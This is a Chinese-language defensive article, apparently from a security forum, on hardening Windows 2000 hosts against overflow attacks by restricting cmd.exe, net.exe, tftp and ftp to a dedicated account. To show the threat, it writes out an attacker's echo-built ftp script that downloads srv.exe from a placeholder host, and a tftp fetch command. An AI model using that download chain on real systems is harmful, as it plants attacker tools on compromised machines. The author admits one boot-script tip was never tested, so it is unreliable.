安全高招:让溢出攻击远离我们
我相信但凡有接触黑客或者安全这方面的朋友,都一定有接触过溢出攻击或接触过这一类词,也就是有了溢出攻击,以及高手们所发布的溢出程序,才有了那么多的“快餐黑客”。
无可否认,溢出攻击无论是对黑客,或者安全检测人员来说,都是对一台主机测试的时候所会采取的手段,因为溢出攻击如果成功的话,可以令我们迅速获取对方主机的一定权限。
但是,我们利用溢出就开心,但是网管呢,他可就惨了,尤其是一台专门用来保护重要数据的主机如果给一些无良黑客,或应该说是骇客吧,他们入侵后,大量删除数据,无论你有没有备份数据,损失都是十分严重的,所以有效地打补丁倒也是一个好方法,但是,有时候你忘记了呢?或者不知道呢,又或者对方用的是0day Exploit呢!所以打补丁是有效,但不是唯一的方法。
但是我却在看某安全杂志的时候,有一个牛人说到给cmd.exe设置权限,可以有效地防止溢出,再加上我和一些高手交流的时候,说到这个,他们也说理论上可以行得通,但是他们却叫我试试。-_-#
好了,不再废话了,下面说说怎么防止溢出。各位网管可要看仔细啦!
首先,我们可以建立一个用户,名字就叫CmdUser,密码就设置强壮一点,而且如果你追求完美的话,可以在用户的名称前面加上一个$.按照网上所公布的方法,建立一个隐藏帐户,这样,就算给人入侵了,也不会使用net user cmduser passworld 来修改这个用户的密码。记住哦,那个用户必须是user等级的哦!
建立了用户后,来到c:\winnt\system32,(这里系统安装在C盘).找到cmd.exe,用右键打开属性,在安全那里,如图一所示
我们所要做的就是把所有的用户删除,然后添加CmdUser这个用户,完成后就确定就可以了,但是不要以为这样就可以了哦,还要找到net.exe这个按照cmd.exe的方法来设置,估计大家找到了net.exe的时候,发现旁边还有一个net1.exe,这个也要设置哦,设置好了,不要以为松了一口气,其实这样虽然可以对付一些菜鸟黑客,但是,如果对方是老鸟来的话,他可以通过tftp,或者ftp等等来传输一个本地溢出的溢出程序,我们就game over了,或者他上传一个木马,利用替换服务这个方法呢,这个倒也是令人防不胜防啊
可能读者就要问了,你既然提出来,是不是有方法解决啊,不错!也算是一点点方法啦,下面就先说说tftp的方法,这个很简单的,进入C:\WINNT\system32\drivers\etc,用记事本打开services这个文件,如图2所示
把tftp这个端口修改为0.。这样,入侵着就不会通过使用tftp –I Host get files.exe文件来达到传输自己的工具。当然,为了更好的安全性,我们可以通过搜索tftp.exe这个文件,然后把tftp这个执行文件按照cmd。exe那样,添加成为只有cmduser这个用户才可以使用。下面就再说说另外一个方法。
我相信,大家应该还记得一个使用echo命令来利用ftp来下载东西的命令吧,什么?你不知道?我来说一下:
echo open xxx.xxx.xxx.xxx >ftp.txt
echo user >>ftp.txt
echo password >>ftp.txt
echo get srv.exe >>ftp.txt
echo bye >>ftp.txt
ftp -s:ftp.txt
del ftp.txt
这样就可以把srv.exe这个软件下载了,我们也可以按照cmd的方法,通过把ftp的使用权限分配给cmduser,这样的话,就可以避免给对方上传软件了,其实还是有很多方法可以上传的,但是我还是留下了一些思路给读者,因为,只有这样,我们才可以提高自己的技术。另外呢,可能有些朋友可能会利用以下这么一个脚本来关闭ipc$默认共享:
@echo off
net share c$ /del
net share d$ /del
net share e$ /del
net share f$ /del
net share ipc$ /del
net share admin$ /del
@cls
但是我们这样设置的话,可能会令到他们觉得很麻烦,所以,我们是不是可以在最后面那里加上一个 net start explorer ,然后做成开机脚本,这样可能会好一点哦,为什么说可能呢?因为我由于时间关系,所以没有来得及试验,希望试验成功的朋友到论坛发表一下你的看法!
下次有机会的话,我可能还说说怎么防止sql injection.。如果试验的过程中还是有什么疑问的话,欢迎e-mail to :ytt@hackbase.net